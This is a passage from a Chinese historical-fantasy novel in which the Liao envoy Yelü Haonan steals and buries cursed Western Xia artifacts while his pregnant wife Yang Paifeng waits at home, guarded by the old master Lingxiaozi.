朝会气氛诡异地热络,西夏群臣觥筹交错,辽国使团正襟危坐。李元昊高踞龙椅,一身玄底金绣龙袍,手中把玩着一只夜光杯,眼神却如同盯住猎物的雪原苍狼,不时掠过下方神色自若的耶律皓南。 酒过三巡,李元昊忽然手指一松——“啪!” 晶莹剔透的翡翠酒盏摔在光可鉴人的金砖上,迸裂成无数碎片,醇香的葡萄美酒溅湿了耶律皓南的袍角。 殿内刹那死寂。所有人的目光都聚焦过来。 李元昊身体微微前倾,手肘支在膝上,嘴角勾着一抹似笑非笑的弧度,声音不高,却字字如冰珠砸落玉盘:“听闻……耶律使君昨夜兴致颇高,不顾宫禁,夜探朕的……几处僻静所在?” 他故意顿了顿,眼中寒光一闪:“可是嫌朕招待不周,想亲自寻些……乐子?”** 最后三个字咬得极轻,却带着血腥的压迫感,殿中几个文臣已经忍不住缩了缩脖子。 耶律皓南掸了掸袍角的酒渍,动作从容不迫,甚至抬手轻轻抚掌,发出两声清脆的“啪啪”声,仿佛在赞赏一出好戏。他抬眼,目光先是似有若无地扫过左侧下首——那里,兴平公主(如今该称镇北节度使了)端坐如仪,一身庄重的节度使官服替代了华丽宫装,腰间那枚螭虎兵符在宫灯下流转着冷硬的光泽,与她脸上平静无波的表情相得益彰。 他的嘴角漾开一丝无辜的浅笑,声音清朗,恰到好处地传遍大殿每个角落:“陛下说笑了。皓南不过是昨夜多饮了几杯贵国的美酒,不胜酒力,出殿醒神时……偶见一桩奇事。” 他故意停顿,引得所有人竖起耳朵,才慢悠悠道:“只见一只毛色油亮的野狐,叼着一截……嗯,看着像是人的手骨,从西边那废弃的藏书偏殿窜了出来。” 殿内气氛骤然一凝!不少西夏老臣脸色微变,显然知道那偏殿附近是什么所在。 耶律皓南仿佛浑然不觉,继续笑道:“皓南当时还纳闷,想来西夏皇宫规矩森严,守卫如林,总不至于……是哪位不幸夭亡的娘娘主子的遗骸,未曾及时收敛,竟被畜生亵渎了吧?” “若真如此,倒是我大辽失礼了,竟撞见此等宫闱不堪之事。不过陛下放心——” 他拱手,笑意不达眼底,“皓南必当守口如瓶,绝不会让此等有损西夏国体的流言,传出兴庆府半步。” “耶律皓南!你敢——”** 一声暴喝炸响!野利遇乞,李元昊麾下第一猛将,已是按刀暴起,额头青筋跳动,杀气腾腾地瞪着耶律皓南,眼看就要拔刀出鞘! 就在此时—— “咳。” 一声轻微的、女子的轻咳声响起。声音不大,却清晰地压过了野利遇乞粗重的喘息。 所有人的目光下意识转向声音来源。 只见兴平公主端坐不动,只是伸出纤纤玉手,端起面前的茶盏,用杯盖慢悠悠地撇着茶沫。她的食指,恰好似有意若无意地,轻轻搭在腰间那枚螭虎兵符之上——正是代表辽国兵权,可调动边军的印信所在! 她甚至没有抬眼看野利遇乞,只是垂眸看着茶盏中舒展的茶叶,神情淡漠。 野利遇乞的动作僵住了,脸色涨得通红,按在刀柄上的手指关节捏得发白,却硬是不敢再进一步。他可以不怕耶律皓南,但绝不敢在此时此刻,明目张胆地挑衅一位身份特殊、且明确表示掌握边军的辽国长公主兼节度使!那枚螭虎符,代表的是幽州三万铁骑,是辽夏边境一触即发的战事! 李元昊的眼睛微微眯了起来,目光在兴平公主腰间的螭虎符上停留了一瞬,又落回耶律皓南含笑的脸上。殿内气氛紧绷如拉满的弓弦,落针可闻。 良久,李元昊忽然“呵”地一声低笑出来,身体后靠,重新倚回龙椅,挥了挥手:“遇乞,不得无礼。耶律使君是客。” “不过是些不懂事的畜生乱窜,搅了使君雅兴。朕自会令人好生清理。” 他的目光如毒蛇信子,舔过耶律皓南的脸,“来,继续饮酒。莫让些许小事,坏了两国和气。” 一场风波,暂时被按下。但殿中每个人都知道,有些东西,已经不同了。 当夜,月黑风高。 贺兰山深处,皇家禁地祭坛。此地戒备之森严,远超皇宫。明哨暗岗林立,空气中弥漫着浓重的血腥气与某种令人不安的邪恶法力波动。然而,对于精通奇门遁甲、曾布下天门阵的耶律皓南而言,这些防守并非无隙可乘。他如同一道融入夜色的轻烟,凭借着对阵法气机的敏锐感知,避开一处处杀机,悄无声息地潜入祭坛核心。 第三重祭坛,位于山腹深处。巨大的空间内,只有中央一座翻涌着暗红色、粘稠如浆的——血池!血池不知多深,不断冒着气泡,散发出令人作呕的腥臭。池底隐约可见无数白骨沉浮,有的完整,有的残破,在血水中载沉载浮,仿佛地狱的景象。那都是穆默族人被抽干鲜血后弃于此地的残骸。 血池上方,三道粗大的、刻满邪异符文的黑铁锁链,从穹顶垂下,锁链末端分别悬挂着三件散发着不祥气息的器物,缓缓旋转,吸收着下方血池蒸腾起的血煞之气: 一杆通体暗红、戟刃如同凝固血浆的——焚天戟。 一枚铃身刻满扭曲人面、铃舌似枯骨的——蚀骨铃。 一面镜框镶嵌着七颗惨白眼珠、镜面朦胧如雾的——噬魂镜。 这就是百花公主以全族性命和自身心血为代价,助李元昊炼制的“三凶神器”! 耶律皓南眸色冰寒,没有丝毫犹豫。他并指如剑,口中低诵真言,身形如鬼魅般绕过血池边缘几处隐蔽的杀阵触发点,瞬间来到锁链根部。掌中长剑出鞘,剑光如同暗室中骤然亮起的冷电,带着斩断邪秽的凛然正气,狠狠斩在三根锁链与穹顶连接的核心符文节点上! “锵!锵!锵!” 三声刺耳的金铁交鸣!火花四溅!那黑铁锁链异常坚固,且附有强大的反噬禁制,耶律皓南虎口震裂,鲜血顺着剑柄淌下。但他面不改色,内力再催,剑锋上骤然亮起一层破魔金光! “断!” “轰隆——!” 三根锁链应声而断!失去束缚的三凶神器猛地下坠!耶律皓南早有准备,袖中滑出一个特制的玄色布袋,口诀念动,布袋口张开,产生一股强大吸力,将下坠的三件神器一股脑儿卷入袋中!袋口自动收紧,表面浮现出层层封印符文,将其中躁动的邪气暂时镇压。 神器离开血池上方的刹那—— “轰隆隆隆!” 整个祭坛,不,是整个贺兰山的地脉仿佛都剧烈地震荡了一下!穹顶簌簌落下灰尘与碎石,脚下地面开裂!更可怕的是,那巨大的血池如同被抽干了所有力量,池中血水瞬间沸腾、蒸发、干涸!露出池底累累的、堆积如山的——穆默族人白骨!下一刻,所有白骨仿佛失去了某种维系,轰然坍塌,化作漫天骨粉! 刺耳的警报声与无数守卫的呼喝声从祭坛外由远及近传来! 耶律皓南毫不恋战,将玄色布袋负于背后,身形如电,沿着预先勘探好的撤退路线,消失在通道深处。 出了贺兰山,便是茫茫戈壁与起伏的沙丘。夜深雪急,寒风如刀。 耶律皓南将身法提至极致,在雪地上只留下一串浅浅的、几乎被风雪瞬间掩盖的足印。然而,就在他翻过一道高耸的雪丘,准备折向与辽国使团约定的汇合点时—— 异变陡生! “咻咻咻!” 数十道淬毒弩箭撕裂风雪,从不同方向毫无征兆地攒射而来!箭矢破空之声凄厉,笼罩了他所有闪避角度!与此同时,周围几座看似平静的雪丘后,数十道黑影如同鬼魅般无声跃出,刀光剑影在雪地反射下映出一片森然杀机! 李元昊的死士!他们不敢明目张胆攻击辽国使团,却专挑耶律皓南落单、远离使团驻地的时机,进行毫不留情的截杀! 耶律皓南心中一凛,身形在间不容发之际诡异扭动,如同风中柳絮,险之又险地避开了大部分弩箭。然而,一支来自侧后方、角度极其刁钻的弩箭,还是擦着他的肩甲飞过!“嗤啦”一声,坚固的皮甲竟被划开一道口子,皮肤传来火辣辣的痛感,更有一股阴寒麻痹的感觉顺着伤口迅速蔓延——箭上淬了剧毒! 与此同时,三名死士已经扑到近前,刀剑齐出,直取他要害! “哼!” 耶律皓南闷哼一声,不退反进!他左手如电般探入背后玄色布袋,下一刻,一枚刻满扭曲人面、散发着浓郁不祥气息的古朴铜铃——蚀骨铃,已被他扣在掌中! 内力毫不犹豫地灌入! “叮铃铃铃——!” 一阵诡异到极点的铃音骤然炸响!那声音不像是金属撞击,反而像是无数冤魂厉鬼在耳边同时尖啸、哭嚎、诅咒!音波以耶律皓南为中心,如同水纹般猛地扩散开来! 冲在最前面的三名死士首当其冲,他们的动作瞬间僵硬,脸上露出极度痛苦与恐惧的神色,仿佛看到了世间最可怕的景象。紧接着,他们的眼耳口鼻甚至是皮肤毛孔中,竟然同时渗出了细密的、腥臭的黑血!身体如同被抽干了骨头一般,软软倒地,在雪地上诡异地扭曲、萎缩,很快就只剩下一层皮包着骨架,仿佛被无形的力量蚀尽了血肉! 后方的死士虽然距离稍远,也个个抱头惨嚎,阵型大乱,攻势为之一滞! 借此机会,耶律皓南脚下一点,身形已如大鹏般掠上另一座雪丘。他回首,望着下方乱作一团、惊疑不定的追兵,忽然放声长笑,笑声穿透风雪,清越而饱含讥讽: “回去告诉李元昊——” “今日招待,本使记下了!他日我大辽陛下问起西夏今岁贡品缘何迟迟未至……” “本使必当‘如实’回禀,好好替他——美言几句!” 话音未落,他的身影已如鬼魅般融入漫天风雪,再无踪迹。只留下一地惨不忍睹的尸骸,以及那令人心胆俱裂的蚀骨铃音,依旧在幸存死士的脑海中嗡嗡回荡。 就在耶律皓南遭遇截杀的同一夜,西夏皇宫西北角,那座曾用以软禁百花公主、后又发生了诸多事端的三重鸱吻高楼,突然燃起了冲天大火! 火势起得极其猛烈诡异,仿佛从建筑内部同时点燃,顷刻间便吞没了整座楼宇。烈焰腾空,将半边天空都映成了诡异的橘红色,木料燃烧的噼啪声、梁柱倒塌的轰鸣声不绝于耳。 等到大火被扑灭,昔日精致的楼阁已化作一片焦黑的、冒着缕缕青烟的废墟。 废墟前,兴平公主一身素服,不顾宫人劝阻,亲自跪在仍旧滚烫的灰烬之中。她的手指不怕烫般,在焦炭瓦砾中翻找着,最终,捧起了一截已经被烧得焦黑变形、勉强能看出手掌形状的——骨骸。 李元昊闻讯赶来,脸色阴沉得可怕,目光如刀,刮过兴平公主的脸。 兴平公主抬起头,脸上满是烟灰与泪痕,眼中尽是惶恐与悲戚。她捧着那截焦黑手骨,对着李元昊泣不成声,身体因为恐惧和悲伤而微微颤抖:“陛下……妾身,妾身昨夜忽做噩梦,梦见……梦见百花姐姐浑身是血,向妾身索命……说她死得冤枉,魂魄不得安宁……” “妾身心中不安,特特来此旧日与姐姐同住之处祭拜,想烧些纸钱安抚姐姐亡灵……谁知,谁知纸钱刚点燃,不知怎的就引燃了帷幔……火势一发不可收拾……” 她哭得梨花带雨,情真意切,捧着手骨的手指因为用力而泛白:“定是……定是百花姐姐怨气太重,引来了天火……是妾身无用,是妾身害了姐姐最后的栖身之所……” 言语间,她的手不经意地拂过自己的腰间。宽大的袖袍下,那枚螭虎兵符冰冷坚硬的棱角,恰好硌在她的腕骨上,带来清晰的、提醒般的痛楚。 同一瞬间,那夜偏殿之中,耶律皓南没入暗道前最后的话语,再次清晰地回响在她耳边:“公主今日援手,他日若需退路,幽州城门——永为君开。” 李元昊盯着她看了许久,目光在她悲戚的脸上和那截焦黑手骨之间巡梭。他自然不信什么“天火”、“托梦”的鬼话,但眼前这女人脸上的恐惧不似作伪,而那截手骨……在这等大火下,也确实无法辨认是否真是百花。更重要的是,她腰间那若隐若现的螭虎符轮廓,以及她如今“镇北节度使”的身份…… 最终,李元昊只是冷冷地哼了一声,甩袖离去。留下一句冰冷的吩咐:“既是天火,那便好生超度吧。此地不祥,以后不必再来。” 兴平公主跪在废墟前,直到李元昊的背影彻底消失,才慢慢止住了哭泣。她低下头,看着手中那截不知是从哪具无名尸骸上取来、用以李代桃僵的焦黑手骨,又看了看眼前彻底化为飞灰、从此再无对证的“百花公主葬身之地”,嘴角极其微小地勾了勾。 袖中,螭虎符的棱角,硌得腕骨生疼。但这疼痛,让她无比清醒,也无比……安心。 数日后,西夏与辽国边境附近,一处荒无人烟的沙丘背风处。 耶律皓南独自一人,面对着眼前一个小小的、用普通沙土堆起的坟茔。坟前没有碑,只是在旁边一块风化严重的岩石上,用剑尖刻下了两个笔画深刻的西夏文——“错付”。 他没有带走百花公主的尸身。一来目标太大,二来……让她留在那座充满她噩梦与血泪的宫殿,未必是她所愿。兴平公主的那把“天火”,烧掉的不仅是一座囚笼,或许也是一种解脱。 而此刻他面对的,是衣冠冢。冢中埋着的,是他从贺兰山祭坛血池边,悄悄取回的一捧混合了穆默族人骨灰的黄土。还有,那三件从血池中夺来、沾满了无辜者血腥与怨念的三凶神器。 他没有将它们带回辽国,哪怕它们威力无穷。这种以邪法炼制、以无数生灵性命为祭的凶物,不该再存于世间,也不该再被任何人所用。 所以,他将它们连同那捧代表着穆默全族亡魂的黄土一起,深深埋在了这无人知晓的沙丘之下。让大漠的风沙掩埋一切罪孽,让时间化解所有怨恨。 狂风卷过沙丘,发出呜呜的声响,如同亡魂的哭泣,又如同天地的叹息。风沙扑打在岩石上,那“错付”二字很快就会被磨平,就像这片土地上曾经发生过的无数爱恨情仇,最终都将归于尘土。 耶律皓南静静站立了片刻,然后,从怀中贴身处,取出一样东西。 那是半截焦黑的、看不出原本形状的——木簪。是当年天门阵中,杨排风留下的旧物,被雷火焚烧过,却被他小心收藏至今。 他的指腹,极其轻柔地摩挲过那焦黑粗糙的表面,仿佛在触碰世间最珍贵的瑰宝。嘴角不自觉地勾起一抹极淡,却温柔得不像话的笑意。 “排风……” 他低声开口,声音被风吹得有些散,却字字清晰,“你看,这世间痴妄,多是‘错付’。” “若有一日……天命弄人,逼你我重走一遭那兵荒马乱、刀光剑影的青葱年华……” 他抬起另一只手,指尖似乎还残留着方才埋葬神器时,触碰到那些冰冷邪异纹路的触感。那是毁灭的力量,也是无尽的诱惑。 但他只是将那截焦黑的发簪更紧地握在掌心,感受着那粗糙表面下仿佛依旧存在的、属于她的温度。 “……也不过是,让你我多尝一遍人间烟火的滋味,多证一回……生死同心的情谊罢了。” 声线低沉,如同古琴最后一个悠长的尾音,融入漫天风沙之中。 他最后看了一眼那即将被风沙掩埋的小小坟茔与石刻,转身,毫不留恋地迈步离开。玄色的衣袍在狂风中猎猎作响,背影挺拔如松,步履坚定地踏向南方——那是归家的方向,是有人在等他的方向。 身后,黄沙漫天,很快便将那一切爱恨、痴怨、罪孽与葬礼,都掩盖得干干净净,仿佛从未发生。 唯有天地悠悠,风声呜咽,诉说着无人知晓的秘密。 16. 灯火待归.边境月冷 辽国国师府,深院。 暖阁的地龙烧得正旺,热气烘得满室如春。三十六盏鎏金蟠螭灯悬于梁下,烛火在琉璃灯罩中静静燃烧,投下一片温暖而摇曳的、泛着淡淡绯红的光晕。这光晕柔和地铺洒开来,最终落在临窗软榻上那道纤细却日渐丰腴的身影上,尤其是……她那已经明显隆起的孕腹。 杨排风端坐在绣墩上,低着头,全神贯注地缝制着手中一件婴孩的小小肚兜。兜面是柔软的杭州素缎,她用极细的银线,一针一线,在兜面中央绣出一个威武却不失稚气的契丹狼首纹——这是耶律氏的标记。然而肚兜的边缘,她却精心缀上了一圈精致繁复的宋式莲枝缠花滚边,莲花亭亭,枝蔓缠绕,是典型的中原样式。 银针起落,针脚细密匀称,如同她此刻百转千回却努力压抑平整的心事。每一针,都仿佛在穿梭着对远方人的牵挂;每一线,都缠绕着对腹中骨肉的期盼。 “梆——梆——” 窗外,忽然传来巡夜卫兵沉闷而有节奏的梆子声,在寂静的春夜里显得格外清晰,也格外……让人心头一紧。 杨排风的手指几不可察地一颤!尖锐的银针针尖险些就要刺破她的指腹。她下意识地停下动作,深吸一口气,将手中的针线活计轻轻放在膝上。然后,她伸出手,温柔地、带着一种本能的安抚,将自己温热的掌心,轻轻覆在了隆起的腹部。 “莫怕……” 她的声音很轻,像是在对腹中的孩子说,也像是在对自己说,“你爹爹……答应过的。” “他答应过……定会赶在你出世前……平平安安地回来。” 目光不由自主地瞟向一旁的紫檀木案几。案头,一挂光华璀璨的东珠璎珞在灯下流转着温润的光泽——那是三日前,萧太后亲自赐下,用以“安胎定神、佑护皇嗣”的恩典。太后的眼神深邃难测,赐物时的话语更是意有所指。然而,真正让杨排风心神略定的,是璎珞旁侧,那柄看似平凡无奇,甚至未曾开刃的短刀。 那是耶律皓南临行前,亲手放在她掌心的“血誓刃”。刀身冰凉,刀柄上用一种特殊的手法,紧紧缠绕着两缕紧密交织、再不分彼此的——青丝。一缕是他的,一缕是她的。是当年在暴雨如瀑的山洞中,他们以天为证、以地为媒,“结发为盟,生死不负”时,各自割下的。 杨排风伸出手,将那柄短刀轻轻拈起。冰凉的刀身映出她略显清减、眉峰微蹙的面容。她的目光透过刀面的反光,仿佛看向遥远的西夏,声音低得只有自己能听见:“皓南……如今你身处龙潭虎穴,四面杀机……” “我却偏偏……困在这锦缎堆、药香袅的地方,什么都做不了……” 一丝无力感与焦灼,悄然攀上心头。然而,就在此时—— “咚……” 腹中传来一下极其清晰的,有力的悸动。仿佛一只小小的蝴蝶,在她的子宫里轻轻振了一下翅膀,带来一种奇妙的、血脉相连的触感。 杨排风浑身微微一颤,所有的忧虑与焦灼,在这一瞬仿佛都被这小小的生命讯号抚平了。她的嘴角,不自觉地、倏然绽开一抹极轻极柔的笑意,眼底漾开温柔的波光。 “是了……” 她低声自语,手掌更加温柔地抚摸着腹部,“我在这里,守好你,守好我们的孩儿……” “便是守住了……你爹爹的归路。” 就在此时,侍女端着一碗冒着热气的安胎药,悄步走了进来。侍女的目光落在杨排风面前的案几上——那里,铺着一幅墨迹尚未全干的水墨画。 画中贺兰山雪峰嶙峋险峻,直插云霄,山间一条崎岖小径上,一骑黑影正迎着一轮孤冷的寒月,踏雪疾驰。马鞍一侧悬挂着一个看不分明的玄色布袋,布袋的轮廓隐约透出里面似是兵器的形状。 “夫人……又在画国师大人的行踪图了?” 侍女将药碗轻轻放在案边,压低声音,忍不住问道。 杨排风没有回答,只是伸手拿起搁在笔山上的一支狼毫笔,在旁边的朱砂砚中轻轻蘸了蘸。然后,她俯身在画中那险峻的雪峰之间,细细地、认真地添上了一株红梅。 梅枝从岩缝中倔强地探出,蜿蜒盘曲,枝头点缀着几朵怒放的红梅,在一片冰雪寒山中,绽放出灼目的生机与暖意。 “且让他知道……” 杨排风的目光落在那株红梅上,声音轻柔却坚定,“家里……有人等着。无论多远,无论多难。” 若是有心人仔细观察,便会发现那株红梅蜿蜒的枝干走向,暗合着某种奇异的、充满玄奥意味的轨迹——那是她凭借着零星线索与直觉,猜测出的,与“三凶神器”有关的符文走向!她虽不知丈夫此行具体要夺取何物,但近日来夜半时分毫无来由的心悸、噩梦,以及对西夏那位疯魔帝王的了解,都让她敏锐地嗅到了其中蕴藏的血雨腥风。 既不能并肩作战,那便将所有的担忧、牵挂、乃至冥冥中的提示,都化入这一笔一划的丹青之中,遥寄于千里之外。 “娘!” 一声清脆响亮的童音,突然从屏风后面炸响!紧接着,一颗毛茸茸的小脑袋探了出来,随即,身影一闪,六岁的刘朔已经像只灵活的小猴子般窜到了杨排风身边。 小家伙今日刻意穿了一身新裁的墨紫色箭袖劲装,头发用同色发带束成一个利落的小马尾,看上去倒是精神抖擞。只是……他腰间那条镶着银扣的蹀躞带上,却故意斜斜挂着一枚精致的辽国宫廷样式的银铃,行动间“叮叮当当”清响不绝,与他这身利落打扮颇为不搭。这是他昨日随凌霄子进宫赴萧太后的小宴时,见到席间一位辽国贵公子的做派,觉得“威风”,回来便有样学样了。 他一把抓起杨排风的手,将自己肉乎乎、温热的小手掌,紧紧贴在母亲的腹侧,眼睛瞪得溜圆,满脸惊奇与兴奋地嚷道:“娘!妹妹踹我手心啦!好大劲儿!” “定是个武艺高强的郡主!将来我带她打遍五京擂台,把那些公子王孙全都打趴下!” 小家伙说得眉飞色舞,仿佛已经看到了自己带着威风凛凛的妹妹横扫天下的场景。 “砰!” 窗户忽然被人从外面推开,一道灰影如同大鸟般掠了进来,正是拎着个酒壶的凌霄子。老头儿脚尖刚沾地,看也不看,屈起手指就对着刘朔腰间那枚叮当乱响的宫铃弹了过去! “叮!” 一声清脆的撞击,宫铃被弹得猛地一晃,声音都变了调。 “小胖子!” 凌霄子撇撇嘴,一脸嫌弃,“辽国那些真正的贵女,最厌烦这种走一步响三声、跟个移动货郎似的蠢物!真正的贵气,是往那儿一站,屁都不放一个,别人就知道你惹不起!懂不懂?” 刘朔 鼓着腮帮子,一脸不服气,显然对师傅的“审美”不以为然。 凌霄子眼珠一转,忽然甩手!三道细微的破空声响起,只见三枚看似普通的铜钱,呈品字形,擦着刘朔的耳际、发梢、肩头飞过,“夺夺夺”三声,精准无比地钉入了他身后不远处的一根梁柱之上!而且三枚铜钱不偏不倚,正好在梁柱上摆出了一个标准的——北斗七星勺柄的形状! 刘朔吓得缩了缩脖子,摸了摸自己凉飕飕的耳朵。 “瞧见没?” 凌霄子得意地扬了扬下巴,“这才叫手稳!你爹当年像你这么大的时候,隔着百步远,能用飞镖射落一串挂在柳枝上的铜钱,而且铜钱中间的方孔还能串成一条线!” “要学贵气?先把你这身上蹿下跳的毛病收一收,把手给老夫练稳喽!” 刘朔眼珠子骨碌碌一转,突然不怀好意地盯住了凌霄子手中那个晶莹剔透、在灯下折射着迷人光泽的酒壶。他猛地扑了上去,一把抱住凌霄子的腰,大声嚷道:“师傅骗人!这酒壶我认得!是上次幽州进贡来的御用琉璃盏!您偷喝皇上的御酒!” “放屁!这是老夫我自己花钱打的!” “就是御酒壶!上面还有皇家的暗记呢!” “小混蛋!看打!” 一老一少顿时扭作一团,吵吵嚷嚷,给这寂静的暖阁平添了无数生气。 杨排风含笑摇头,目光落在儿子方才因为玩闹而掉落在地的一本功课册子上。她弯腰拾起,随手翻开。册子前面还是些歪歪扭扭的蒙学字帖,然而翻到后面几页,她的目光却是一凝。 只见册角空白处,用炭笔密密麻麻地绘着一幅略显稚嫩、却异常详尽的——边境城防图!山川、河流、关隘、城池,甚至连某些驻军的大致位置和兵力标注都有!虽然笔法幼稚,但架构清晰,颇有章法。 而在图旁,用童稚的笔迹,歪歪斜斜地写着一行小字:“妹妹的封地,须得有重兵把守,挖深壕,筑高墙,让坏人一个也进不来!” 看着这行字,杨排风心头骤然一暖,鼻尖甚至有些发酸。她想起几个月以前,耶律皓南看着在院子里追鸡撵狗、弄得一身泥的儿子,曾经摇着头,嘴角却带着笑,对她说过:“朔儿这孩子,看着莽撞跳脱,一副没心没肺的皮相……” “可他骨子里藏着的,是他祖父、曾祖父那辈人,在马背上纵横捭阖、掌控千军万马的——将帅心眼。” “只是年纪尚小,心性未定,还需慢慢磨砺。” 如今看来……丈夫所言不虚。这小小的孩童,已经在用他自己的方式,思考着如何保护家人,守护他认为重要的东西了。 “排风,别理那两个活宝。” 凌霄子不知何时已经摆脱了刘朔的“纠缠”,端着那碗已经不那么烫的安胎药,走到杨排风面前,脸上的嬉笑不知何时已经敛去,神色是罕见的正经,“来,趁热,饮了这盏安神汤。” 他伸手递药碗,袖口自然地掠过杨排风的眼前。一股极淡的,却绝对不会被杨排风错认的——血腥气,混合着某种清凉的草药味,从他的袖口散发出来。 那是清晨时,他亲自带人在府外三条街外的暗巷,无声无息地“处置”掉几名鬼鬼祟祟、企图窥探国师府的西夏细作时,不慎沾染上的。对方是精锐,临死反扑凶悍,即使是他,袖口也被划破了一道口子,留下了这丝血腥气。 杨排风的瞳孔,在闻到那丝血腥气的刹那,不可抑制地微微一缩,手指下意识地攥紧了膝上的衣料。 凌霄子敏锐地捕捉到了她这一瞬的紧张。他咧嘴一笑,故作轻松地摆了摆手,声音压得极低,只有两人能听见:“莫慌。不过是清晨起得早,闲着没事,出去活动了下筋骨,顺手……宰了几只不长眼、敢在老夫地盘上窥探的——野狐狸。” “没惊动旁人,干净利索。” 说完,他转身,一把揪住还想凑过来捣乱的刘朔的后衣领,像拎小鸡一样将他按在旁边的书案前,“啪”地一声将一卷竹简拍在他面前。 “臭小子!给我好好坐着!今日的功课——《战国策》,‘父母之爱子,则为之计深远’这一段,抄写十遍!” “抄之前,先给老夫说说,这句话,是个什么意思?” 刘朔被按在椅子上,挣扎不得,眼珠子一转,嬉皮笑脸地回答:“这还不简单?就是……娘亲疼我,就给我攒好多好多糖果点心;师傅疼我,就替我挨爹爹的骂、挡爹爹的揍呗!” “啪!” 一卷竹简不轻不重地敲在了他的后脑勺上。 “错!大错特错!” 凌霄子瞪眼,“是教你这小混蛋,从今天起,少惹事,多读书,练好本事!让你娘少操点心,让你爹在外面……放心大胆地砍人!懂不懂?” 这番歪理邪说,配合着他那副理直气壮的表情,让一旁的杨排风都忍不住“噗嗤”一声笑了出来,心头那点因为血腥气而生的阴霾,也散去了不少。 就在此时—— “咔……” 头顶的屋檐上,传来一声极其轻微的、仿佛是瓦片被不小心踩动的声响! 声音几不可闻,但在场三人的耳朵都是一动! 凌霄子脸上的笑意未变,甚至手中的酒壶都还在往嘴边送。然而他的另一只垂在身侧的手,袖口微不可察地一抖——三道细如牛毛的银针,已经无声无息地破袖而出,以一种诡异的弧度,射向头顶传来声响的方位! “噗!” 一声极其轻微的、仿佛是利器入肉的闷响,从屋顶传来。紧接着,是一声压抑的、充满痛楚的闷哼,以及一阵急促而慌乱的瓦片摩擦声,迅速远去。 显然,暗处的窥视者中了招,负伤逃走了。 凌霄子若无其事地仰头灌了一口酒,咂了咂嘴,仿佛刚才什么都没发生。他走到窗边,看着外面沉沉的夜色,背对着杨排风,声音不高,却字字清晰地传入她耳中: “排风,皓南那臭小子临走前,撂下过一句话。” “他说——‘纵使前方是修罗场,血海滔天,尸骨遍野……” “我归家的路上,必定……能看见檐下为我点亮的灯火。” 杨排风的身体,因为这句话,微微一颤。她抬起眼,看着师叔挺直却略显瘦削的背影,眼眶忍不住有些发热。她知道,这不仅是丈夫的誓言,更是眼前这位看似玩世不恭、实则将一切都看在眼里的长辈,对她、对这个家最深沉的——承诺与安慰。 更漏三响,孤灯独坐 更漏滴答,不知不觉,已是三更天。 府中渐渐安静下来,刘朔已被乳母带去安歇,凌霄子也不知隐到了何处。杨排风独自坐在窗前的绣墩上,面前的案几上,铺着一件玄色的,已经有些陈旧的男子外袍。 那是耶律皓南常穿的一件旧袍。袍角处,不知何时被勾破了一道不大不小的口子。 她拈起针线,就着窗外透入的朦胧月光与桌上一盏孤灯,开始细细地缝补。针线在她纤细却稳定的手指间穿梭,动作熟练而温柔。仿佛通过这一针一线,能将自己的思念、担忧、还有那份坚定的等待,一起缝进这件衣袍里,随着它,跨越千山万水,传递到他的身边。 补着补着,她的指尖,无意中触到了衣袍内襟一处略显厚实的地方。那里有一个做工极其精细、隐藏得很好的暗袋。 她的动作顿住,犹豫了片刻,还是轻轻打开了暗袋的扣绊。袋中静静躺着半块触手温润的白玉佩。玉佩的形状不规则,显然是从一整块玉上掰开的。玉面上,以古拙的笔法,刻着一个契丹文的“归”字。 这是临别前夜,他们互相交换的信物。他带走了刻着“安”字的那半块,她留下了这刻着“归”字的半块。 杨排风小心翼翼地取出那半块玉佩,将其轻轻贴在自己微隆的腹前。玉佩冰凉的触感,很快就被她的体温熨暖。 她低下头,嘴唇轻启,用一种只有自己能听见的、极其温柔的声调,低声哼起了一支来自宋地、她幼时常听的童谣: “月娘光光,照郎还乡……” “路儿长长,莫要心慌……” “家有粥饭,灶有余香……” “等你归来,地老天荒……” 稚嫩却婉转的曲调,在寂静的暖阁中轻轻回荡,带着一种穿越时空的力量,仿佛能随着月光,飘向那遥远的西北边境。 暖阁外,廊下的阴影深处。 凌霄子并未离去,他抱臂靠在冰冷的廊柱上,目光如鹰隼般扫视着四周的黑暗。他的面前,无声地跪着三名全身笼罩在黑衣中、只露出一双精光四射眼眸的暗卫。 “增派一队‘影杀’,连夜出发,秘密潜入贺兰山东侧隘口。” 凌霄子的声音压得极低,不带一丝感情,“隐匿行踪,昼伏夜出。” “若发现国师踪迹,或是任何与国师相关的信号……” 他的目光骤然变得锐利如刀,“不惜一切代价,接应、护送。同时,以特制的赤色狼烟为号,通知三百里内所有我们的人。” “记住,是不惜一切代价。” 他重复了一遍,每个字都像是从牙缝里挤出来的,“明白了?” “是!” 三名暗卫毫无犹豫,低声应诺,随即身形一晃,如同融入黑夜的水滴,消失不见。 下完命令,凌霄子并未立刻离开。他转过身,目光透过窗棂的缝隙,落在暖阁内。那里,杨排风依旧坐在窗前,低着头,一针一线地缝补着衣袍,嘴唇微动,哼着那支柔和的童谣。昏黄的灯光为她的侧影镀上一层温暖的光晕,也在窗纸上投下一道安静而坚定的剪影。 看着这一幕,凌霄子那张平日里总是嬉笑怒骂、没个正形的脸上,难得地露出了一丝极淡的、却深沉如海的——温情与慨叹。 他抬起头,望向西北方那片被夜色与重重关山阻隔的、看不见的天空,嘴唇无声地动了动,仿佛在对着那个此刻不知身在何方、面对何种危局的人说话: “皓南……” “你且放手去搏杀吧,去完成你该做的事,去面对你该面对的敌人。” “这府中的灯火……” “师叔我,替你点着。” “一直点到……天明。” 夜风拂过庭院,带起檐下风铃几声零星的轻响,很快又归于寂静。只有暖阁窗内那一豆灯火,始终温暖而坚定地亮着,穿透沉沉夜色,仿佛真的能照亮某条漫长而艰险的——归家之路。 西夏边境的深秋,月色是淬过寒铁的刃。 戈壁滩的夜风不是吹,是抽。粗粝的砂砾被卷成一道道褐黄色的鞭子,抽打着枯死多年的胡杨林。那些扭曲的枝干在风中发出“咔嚓、咔嚓”的断裂声,空洞而清脆,像极了千万根白骨在漆黑的夜里相互碰撞、碾磨。 耶律皓南的身影如一缕融入夜色的墨,在枯林间疾掠。 他玄色的衣袍已在三日三夜的追杀中,被淬了“黑水蝮蛇毒”的连环弩箭撕裂三处。左肩一道最深,皮肉翻卷,边缘的血液来不及滴落,已被戈壁夜间的酷寒冻凝,结成紫黑色的、边缘泛着诡异青光的冰晶,随着他的动作摩擦着破裂的伤口,带来一阵阵深入骨髓的、带着麻痹感的锐痛。 毒在渗。 